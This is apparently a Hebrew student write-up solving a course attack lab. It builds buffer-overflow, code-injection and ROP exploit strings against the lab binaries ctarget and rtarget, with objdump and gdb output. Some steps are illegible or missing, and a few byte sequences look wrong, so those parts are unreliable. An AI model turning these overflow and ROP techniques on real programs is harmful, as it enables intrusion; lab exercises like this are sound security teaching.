

הסבר לפתרון תרגיל 2

- חשוב לשים לב: אם במסכי התשובות יש לנו הערה ע"י /**/ אז חשוב שיהיה רווח אחרי הכוכבית הראשונה ולפני הכוכבית האחרונה, כלומר כך: /* text */

שאלה 1:

1. אנו צריכים לגרום לכך שבפונקציה getbuf תידרס כתובת החזרה כך שנקרא לפונקציה touch1.
2. ניצור את הקובץ answer1 ובו נכתוב את shellcode.
3. נפתח טרמינל ונריץ: objdump -d ctarget > obj
4. ואז נריץ vim obj
5. נחפש getbuf/ומצאנו בכתובת

```
00000000004017ca <getbuf>:
4017ca: 48 83 ec 18      sub    $0x18,%rsp
4017ce: 48 89 e7         mov    %rsp,%rdi
4017d1: e8 2c 02 00 00   callq 401a02 <Gets>
4017d6: b8 01 00 00 00   mov    $0x1,%eax
4017db: 48 83 c4 18      add    $0x18,%rsp
4017df: c3              retq
```

6. ניתן לראות שהפונקציה מקצה עבור buffer 0x18 שזה 24 בתים בדצימלי.
7. בקובץ answer1 נכתוב 24 פעמים 00 כדי לעשות buffer overflow ולמלא את המחסנית עד כתובת החזרה
8. כעת עלינו לדרוס את כתובת החזרה ע"י הכתובת של touch1. נחפש /toche1/ ומצאנו בכתובת:

```
00000000004017e0 <touch1>:
4017e0: 48 83 ec 08      sub    $0x8,%rsp
4017e4: c7 05 0e 2d 20 00 01 movl   $0x1,0x202d0e(%rip)
fc <vlevel>
```

9. לכן נוסיף ל answer1 את הכתובת 00 00 00 00 00 00 00 00 12 e0 (זה ייצוג של הכתובת ב little endian).
10. סה"כ הקובץ answer1 נראה כך:

```
1 /* pad with 24 bytes */
2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
3 /* address of touch1 */
4 e0 17 40 00 00 00 00 00
```

11. כעת נגיש ע"י: ./ctarget | ./hex2raw | cat answer1 ונקבל:

```
sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ cat answer | ./hex
2raw | ./ctarget
Cookie: 0x4c09f577
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
```

שאלה 2:

1. אנו צריכים לדרוס את כתובת החזרה של הפונקציה getbuf עם כתובת shellcode שקורא לפונקציה touch2 ומעביר לה כארגומנט את ה - cookie כמספר.
2. כפי שראינו, הפונקציה getbuf נראית כך:

```
00000000004017ca <getbuf>:
4017ca: 48 83 ec 18      sub    $0x18,%rsp
4017ce: 48 89 e7         mov    %rsp,%rdi
4017d1: e8 2c 02 00 00   callq 401a02 <Gets>
4017d6: b8 01 00 00 00   mov    $0x1,%eax
4017db: 48 83 c4 18      add    $0x18,%rsp
4017df: c3              retq
```

- כלומר תחילה היא מקצה 24 בתים עבור buffer. לאחר מכן היא ממלאת אותו עם מה שהכנסנו עבור ה buffer overflow.

- לאחר מכן, `rsp` מצביע מתחת ל-`buffer` שהוקצה, ולכן בפקודה `mov %rsp, %rdi` אנו מעבירים את 8 הבתים הראשונים של `buffer` לתוך `rdi` (שהוא הארגומנט הראשון לפונקציה).
- מכיוון שאנו צריכים להעביר את `cookie` כארגומנט לפונקציה, אנו צריכים ש-24 הבתים של `buffer` יורכבו כך ש-8 הבתים הראשונים יהיו `cookie` (כדי שיש `rsp` ישים אותם ב-`rdi`) ו-16 הבתים הנותרים יהיו 00.
- 3. בקובץ `cookie.txt` יש לי את התוכן: `0x4c09f577` ולכן זה הערך שאנו צריכים שהאוגר `%rdi` יכיל. כדי לדעת מהו `bytecode` של ההשמה הזו, נכתוב קוד אסמבלי קצר, נקפל ואז נעשה לו `objdump` ונראה את `bytecode`.
 - לשם כך נכתוב בקובץ `answer2.s`:

```
1 movq $0x4c09f577,%rdi /* move your cookie to register %rdi */
2 retq /* return */
```

- לאחר מכן:

`gcc -c answer2.s`

`objdump -d answer2.o > answer2.d`

- כדי לראות את `bytecode` של הפקודה נעשה `cat answer2.d` ונקבל:

```
sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ cat answer2.d
answer2.o:      file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:  48 c7 c7 77 f5 09 4c    mov     $0x4c09f577,%rdi
   7:  c3                    retq
```

- לכן, 24 הבתים שהוקצו יהיו:

```
/* pass argument in rdi */
48 c7 c7 77 f5 09 4c c3
/* pad with 24 bytes */
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

- 4. כעת עלינו לבדוק את הכתובת של `rsp` (למה??). נעשה זאת כך:

run ctarget through gdb

```
gdb ctarget
```

set a breakpoint at `getbuf`

```
b getbuf
```

run ctarget

```
r
```

Now do

```
disas
```

ונקבל:

```
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017ca <+0>:      sub     $0x18,%rsp
   0x00000000004017ce <+4>:      mov     %rsp,%rdi
   0x00000000004017d1 <+7>:      callq  0x401a02 <Gets>
   0x00000000004017d6 <+12>:     mov     $0x1,%eax
   0x00000000004017db <+17>:     add     $0x18,%rsp
   0x00000000004017df <+21>:     retq
End of assembler dump.
```

[illegible]

5. כעת נחפש את הכתובת של touch2 ונקבל:

6. סה"כ הקובץ answer2 עם shellcode נראה כך:

שאלה 3:

- [illegible]

- ```
1 movq $0x55680F38,%rdi /* %rsp + 0x28 */
2 retq
```

לאחר מכן נקמפל, נעשה objdump ונקבל:

```
sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ gcc -c answer3.s
sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ objdump -d answer3.o > answer3.d
sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ cat answer3.d

answer3.o: file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
 0: 48 c7 c7 38 0f 68 55 mov $0x55680f38,%rdi
 7: c3 retq


```

לכן, השורה הראשונה בקובץ answer3 יהיה 48 c7 c7 38 0f 68 55 c3

7. כעת עלינו למלא את המחסנית עד שנגיע לכתובת החזרה, ולכן כדי להשלים ל24, נוסיף 16 פעמים את 00.
8. לאחר מכן נשים את rsp (כתובת החזרה), כלומר נשים את 0x55680f28 (אותה כתובת שראינו בשלב 4).
9. לאחר מכן צריך לקרוא לפונקציה touch3. נחפש את touch3 בקובץ שקיבלנו אחרי שעשינו objdump לctarget. נשים את הכתובת הפוך, כלומר little endian

```
cookie.txt x objC x
876 4018de: 41 5c
877 4018e0: c3
878
879 0000000000004018e1 <touch3>:

```

10. לבסוף, נמיר את cookieen שקיבלנו בקובץ cookie.txt להיות בפורמט של hex (כמובן ההמרה היא ללא ה0x). נקבל:

## Convert hexadecimal to text

Input data

4c09f577

Convert

text to hex numbers

Output:

34 63 30 39 66 35 37 37

11. סה"כ הקובץ שנקבל הוא:

```
1 /* rsp + buffer + 8 bytes for return address of rsp + 8 bytes for touch3 */
2 48 c7 c7 50 0f 68 55 c3
3 /* pad with 24-8 bytes */
4 00 00 00 00 00 00 00 00
5 00 00 00 00 00 00 00 00
6 /* address of register %rsp */
7 28 0f 68 55 00 00 00 00
8 /* address of touch3 */
9 e1 18 40 00 00 00 00 00
10 /* cookie string as hex number */
11 34 63 30 39 66 35 37 37
--
```

```
sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ cat answer3 | ./hex2raw | ./ctarget
Cookie: 0x4c09f577
Type string:Touch3!: You called touch3("4c09f577")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

שאלה 4:

1. כעת כמו ב-2, צריך לקרוא לפונקציה touch2 ולהעביר לה את ה-cookie כמספר. המחסנית אינה ניתנת לביצוע וצריך לקרוא לפונקציה באמצעות ROP. ה-gadgets נמצאים בתוך rtarget בין start\_farm ל-mid\_farm
2. תחילה נעשה `objdump -d rtarget > objR`
3. מכיוון שעכשיו אנו לא יכולים להריץ shellcode במחסנית, אלא רק לקרוא לגadgets, אנו צריכים למצוא gadget שמעביר את cookie לrdi. כלומר בobjdump של rtarget בטווח שבין הפונקציה start\_farm לפונקציה mid\_farm צריך למצוא את הפקודה `pop %rdi` שבhex זה 5f
4. נסתכל על האסמבלי שבין הפונקציה start\_farm לפונקציה mid\_farm:

```
916 0000000000401969 <start_farm>:
917 401969: b8 01 00 00 00 mov $0x1,%eax
918 40196e: c3 retq
919
920 000000000040196f <addval_286>:
921 40196f: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
922 401975: c3 retq
923
924 0000000000401976 <addval_469>:
925 401976: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi),%eax
926 40197c: c3 retq
927
928 000000000040197d <setval_436>:
929 40197d: c7 07 48 89 c7 91 movl $0x91c78948,(%rdi)
930 401983: c3 retq
931
932 0000000000401984 <addval_393>:
933 401984: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
934 40198a: c3 retq
935
936 000000000040198b <getval_349>:
937 40198b: b8 d5 58 91 90 mov $0x909158d5,%eax
938 401990: c3 retq
939
940 0000000000401991 <setval_198>:
941 401991: c7 07 58 90 92 c3 movl $0xc3929058,(%rdi)
942 401997: c3 retq
943
944 0000000000401998 <setval_191>:
945 401998: c7 07 48 89 c7 94 movl $0x94c78948,(%rdi)
946 40199e: c3 retq
947
948 000000000040199f <getval_486>:
949 40199f: b8 65 7d 58 90 mov $0x90587d65,%eax
950 4019a4: c3 retq
951
952 00000000004019a5 <mid_farm>:
953 4019a5: b8 01 00 00 00 mov $0x1,%eax
954 4019aa: c3 retq
```

5. ניתן לראות שאין כאן את הפקודה 5f. לכן ננסה לעשות `pop` לאוגר אחר ואז את מה שיש באוגר הזה נעביר לrdi.
6. בשורה 925 ניתן לראות שיש את הקוד 58 שזה `pop %rax` ולאחריו פעמיים 90 (שזה פעמיים `pop`) ובסוף c3. לכן, gadget הראשון יהיה בכתובת  $401976+2 = 401978$  (קפצנו 2 כדי להגיע ל58).
7. כעת צריך למצוא את הפקודה `mov %rax, %rdi` שבhex זה c7 89 48 וכן בשורה 921 ניתן למצוא את הפקודה הזו ואחריה c3. לכן, gadget2 יהיה בכתובת  $40196f+2=401971$ .
8. סה"כ התוכן שנכניס לbuffer הוא:

```

1 /* pad with 24 bytes */
2 00 00 00 00 00 00 00 00
3 00 00 00 00 00 00 00 00
4 00 00 00 00 00 00 00 00
5 /* gadget1 */
6 78 19 40 00 00 00 00 00
7 /* cookie */
8 77 f5 09 4c 00 00 00 00
9 /* gadget2 */
10 71 19 40 00 00 00 00 00
11 /* address of touch2 */
12 0c 18 40 00 00 00 00 00

```

- תחילה נרפד באפסים עד שנגיע לreturn address ושם נקרא gadget1 ומעליו יהיה הקלט לpop ולכן cookie נמצא במחרוזת מתחת לגadget1.
- נשים לב שעכשיו צריך לשים ממש את cookie עצמו ולא כפי שעשינו בשלב 2 (mov של cookie לrdi), כי עכשיו התוכן צריך יעבור לrax ע"י pop ולכן נשים ממש את cookie עצמו
- לאחר מכן קוראים לגadget2
- לאחר שהקראנו cookie נמצא בrdi קוראים לפונקציה touch2

9. נריץ ונקבל:

```

sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ cat answer4 | ./hex2raw | ./rtarget
Cookie: 0x4c09f577
Type string:Touch2!: You called touch2(0x4c09f577)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

```

## שאלה 5:

1. כעת בדומה ל-3, לקרוא לפונקציה touch3 ולהעביר לה את ה-cookie כמחרוזת. המחסנית אינה ניתנת לביצוע וצריך לקרוא לפונקציה באמצעות ROP. ה-gadgets נמצאים בתוך rtarget בין start\_farm ל-end\_farm (המקור נמצא בקובץ farm.c).
2. את הפעולות אנו צריכים לבצע ע"י gadgets שנמצאים בקובץ objR שיצרנו בין start\_farm לבין end\_farm. אצלי הטווח הוא בין שורות 916 לבין 1088.
3. הפעולות שנרצה לבצע הן:

1. padding the buffer
2. save the %rsp into a register (%rdi here)
3. save the address offset into a register (%rax here)
4. save the sum of the above to value to a register
5. call touch3
6. cookie string

4. תחילה נרפד 24 פעמים ע"י 00
5. לאחר מכן, אנו צריכים להעביר מידע מ%rsp ל%rdi. הקוד של gadget הזה הוא 48 89 e7 אך אין את הקוד הזה בטווח המותר. ולכן נבצע קודם mov %rsp, %rax (הקידוד הוא 48 89 e0) ואז mov %rax, %rdi (הקידוד הוא 48 89 c7). סה"כ אלה ה-gadgets שמצאנו:

בשורה 961 (בכתובת  $4019b0 + 2 = 4019b2$ ) מצאנו את gadget

```

960 0000000000004019b0 <setval_339>:
961 4019b0: c7 07 48 89 e0 c3 movl $0xc3e08948, (%rdi)
962 4019b6: c3 retq

```

בשורה 921 (בכתובת 401971) מצאתי את gadget

```

920 00000000000040196f <addval_286>:
921 40196f: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi), %eax
922 401975: c3 retq

```

6. לאחר מכן נעשה pop %rax. הקידוד הוא 58 ולאחר 2 nop אכן יש c3 עבור ret. בשורה 925 מצאנו את gadget

```

924 000000000000401976 <addval_469>:
925 401976: 8d 87 58 90 90 c3 lea -0x3c6f6fa8(%rdi), %eax
926 40197c: c3 retq

```



7. לאחר מכן שמים את 0x48.

כמות השורות בין `mov %rsp, %rax` לבין המחרוזת של `cookie` הוא 10 שורות.  $(10-1)*8=72=0x48$

8. לאחר מכן נעשה `mov %eax, %ecx` (הקידוד הוא c1 89). בשורה 973 מצאנו את `gadget`

```
972 0000000000004019c5 <getval_106>:
973 4019c5: b8 89 c1 c3 4b mov $0x4bc3c189,%eax
974 4019ca: c3 retq
```

9. לאחר מכן נעשה `mov %ecx, %edx` (הקידוד הוא ca 89). בשורה 965 מצאנו את `gadget`

```
964 0000000000004019b7 <addval_125>:
965 4019b7: 8d 87 64 89 ca c3 lea -0x3c35769c(%rdi),%eax
966 4019bd: c3 retq
```

10. לאחר מכן נעשה `mov %edx, %esi` (הקידוד הוא d6 89). בשורה 1021 מצאנו את `gadget`

```
1020 000000000000401a14 <getval_495>:
1021 401a14: b8 cc 89 d6 90 mov $0x90d689cc,%eax
1022 401a19: c3 retq
```

11. לאחר מכן נעשה `lea (%rdi, %rsi, 1), %rax` ובשורה 957 מצאנו את `gadget`

```
956 0000000000004019ab <add_xy>:
957 4019ab: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
958 4019af: c3 retq
```

12. לאחר מכן נעשה `mov %rax, %rdi` (הקידוד הוא c7 89 48). בשורה 921 מצאנו את `gadget`

```
920 00000000000040196f <addval_286>:
921 40196f: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
922 401975: c3 retq
```

13. לאחר מכן צריך לקרוא לפונקציה `touch3`. נחפש את `touch3` בקובץ שקיבלנו אחרי שעשינו `objdump` ל-`target`. נשים את הכתובת הפוך, כלומר `little endian`

|     | cookie.txt         | x         | objC | x |
|-----|--------------------|-----------|------|---|
| 876 | 4018de:            | 41 5c     |      |   |
| 877 | 4018e0:            | c3        |      |   |
| 878 |                    |           |      |   |
| 879 | 0000000000004018e1 | <touch3>: |      |   |

14. לבסוף, נמיר את `cookie` שקיבלנו בקובץ `cookie.txt` להיות בפורמט של `hex` (כמובן ההמרה היא ללא ה-0). נקבל:

## Convert hexadecimal to text

Input data

4c09f577

Convert

text to hex numbers

Output:

34 63 30 39 66 35 37 37

15. סה"כ הקובץ שנקבל הוא:

```

1 /* buffer */
2 00 00 00 00 00 00 00 00
3 00 00 00 00 00 00 00 00
4 00 00 00 00 00 00 00 00
5 /* mov %rsp, %rax : 48 89 e0 c3 */
6 b2 19 40 00 00 00 00 00
7 /* mov %rax, %rdi : 48 89 c7 c3 */
8 71 19 40 00 00 00 00 00
9 /* popq %rax : 58 90 90 c3 */
10 78 19 40 00 00 00 00
11 /* the length between "mov %rsp, %rax" line to the cookie string line = (10-1)X8 */
12 48 00 00 00 00 00 00
13 /* mov %eax, %ecx : 89 c1 c3 */
14 c6 19 40 00 00 00 00 00
15 /* mov %ecx, %edx : 89 ca c3 */
16 ba 19 40 00 00 00 00 00
17 /* mov %edx, %esi : 89 d6 90 c3 */
18 16 1a 40 00 00 00 00 00
19 /* lea (%rdi,%rsi,1),%rax */
20 ab 19 40 00 00 00 00 00
21 /* mov %rax, %rdi */
22 71 19 40 00 00 00 00
23 /* address of touch3 */
24 e1 18 40 00 00 00 00 00
25 /* cookie string as hex number */
26 34 63 30 39 66 35 37 37

```

16. גריץ ונקבל:

```

sapir@sapir-VirtualBox:~/Documents/SecureProg/ex2/target5520$ cat answer5 | ./hex2raw | ./rtarget
Cookie: 0x4c09f577
Type string:Touch3!: You called touch3("4c09f577")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

```